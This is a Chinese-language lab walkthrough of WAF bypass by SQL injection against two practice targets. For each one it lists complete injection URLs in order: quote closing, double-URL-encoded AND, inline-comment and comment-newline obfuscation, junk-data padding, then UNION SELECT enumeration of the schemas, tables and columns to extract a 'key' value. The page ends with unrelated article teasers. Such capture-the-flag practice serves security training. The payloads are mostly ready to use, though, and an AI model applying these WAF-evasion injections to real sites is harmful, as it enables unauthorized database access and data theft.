在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF 的工作原理有一定的理解。
先随便输入一个双引号来显示报错闭合的语句
http://120.25.24.45:31832/?id=1"
http://120.25.24.45:31832/?id=1")--+
http://120.25.24.45:31832/?id=1")/*asifnjanf*/%2561%256e%25641=2--+
这里解释一下%2561%256e%2564
这个就是and
的url编码,可以去bp转一下
/**/
这个就是SQL注入内联注释符,绕WAF有时候会用到的
它的报错信息是Unknown column '6e' in 'where clause'
意思是不存在6个列字段
http://120.25.24.45:31832/?id=1")/*asifnjanf*/OrDEr%23%0aby/*asifnjanf*/3--+
这里来确定它的字段数为3列
http://120.25.24.45:31832/?id=-1%22) union%23%0a all select/*safaqwf*/1,database(%23%0a),group_concat(schema_name) /*asdnuqw*/from information_schema.schemata--+
这里有一个细节,就是id=后面的加上一个负号,就是不显示前面的结果
爆出所有数据库,我们要选择目标数据库dotaxueyuan
http://120.25.24.45:31832/?id=-1%22)%20union%23%0a%20all%20select/*safaqwf*/1,database(%23%0a),group_concat(table_name)%20/*asdnuqw*/from%20information_schema.tables where table_schema='dotaxueyuan'--+
爆出表名,目标表名是key
http://120.25.24.45:31832/?id=-1%22)%20union%23%0a%20all%20select/*safaqwf*/1,database(%23%0a),group_concat(column_name)%20/*asdnuqw*/from%20information_schema.columns where table_name='key'--+
爆出列名key
http://120.25.24.45:31832/?id=-1%22)%20union%23%0a%20all%20select/*safaqwf*/1,database(%23%0a),group_concat(`key`)%20/*asdnuqw*/from%20dotaxueyuan.key--+
爆出key值
先随便输入一个单引号来显示报错闭合的语句
http://120.25.24.45:30550/?id=1'
http://120.25.24.45:30550/?id=1'--+
http://120.25.24.45:30550/?id=111111111111111111111'/*daewqqw*/%23%0a%2561%256e%25641=2--+
这里解释一下111111111111111111111
这么一大串数字1就是运用SQL注入之垃圾数据绕过的原理,%2561%256e%2564
这个就是and
的url编码,可以去bp转一下
/**/
这个就是SQL注入内联注释符,绕WAF有时候会用到的
%23%0a
这个URL解码就是#号和换行,也可以说是一个绕过姿势
它的报错信息是Unknown column '6e' in 'where clause'
意思是不存在6个列字段
http://120.25.24.45:30550/?id=111111111111111111111'/*daewqqw*/%23%0aOrder%23%0a/*qweqwd*/by/*dasasdsaddac*/3--+
判断字段数,这个题的字段数为3
,它这题如果你输入正确的语句是不会回显的
http://120.25.24.45:30550/?id=-111111111111111111111'/*daewqqw*/%23%0aUnion%23%0a/*qweqwd*/select/*dasasdsaddac*/1,database(),3--+
爆出目标数据库dotaxueyuan
http://120.25.24.45:30550/?id=-111111111111111111111'/*daewqqw*/%23%0aUnion%23%0a/*qweqwd*/select/*dasasdsaddac*/1,database(),group_concat(table_name) from information_schema.tables where table_schema=%27dotaxueyuan%27--+
爆出表名,目标表名是key
http://120.25.24.45:30550/?id=-111111111111111111111'/*daewqqw*/%23%0aUnion%23%0a/*qweqwd*/select/*dasasdsaddac*/1,database(),group_concat(column_name) from information_schema.columns where table_name=%27key%27--+
爆出列名key
http://120.25.24.45:30550/?id=-111111111111111111111'/*daewqqw*/%23%0aUnion%23%0a/*qweqwd*/select/*dasasdsaddac*/1,database(),group_concat(`key`) from dotaxueyuan.key--+
爆出key值
靶场链接来自于东塔攻防世界靶场
https://labs.do-ta.com/index/course/index?one=15&two=17&three=51&level=-1&other=-1&title=
Afrikaans:af Albanian:sq Basque:eu Belarusian:be Bulgarian:bg Catalan:ca Ch...
Eval 计算一个表达式的值并返回结果。 语法:[result = ]eval_r(expression_r) e...
Linux 发行版的爱好者们又有全新的 Linux 可以体验了,日前一款名为 TeLOS 的 Li...
ajax传送json格式数据,关键是指定contentType,data要是json格式 如果是restful...
一. RabbitMQ 简介 MQ全称为Message Queue, 消息队列(MQ)是一种应用程序对应用...
如果你想对使用手机,平板电脑和辅助技术的用户隐藏某些内容,而只对键盘用户显...
本文分享自华为云社区《 架构可视化支撑系统演进探索 》原文作者无名小溪。 随着...
今天给大家分享四个在实际开发中,比较实用的SQL Server脚本函数,希望对大家能...
最近在和团队规划OKR目标的时候,我们讨论了很多问题,我先抛砖引玉,列举了一些...
一、导读 本文主要介绍Redhat7.6系统安装oracle 12201版本RAC的一些坑以及避坑方...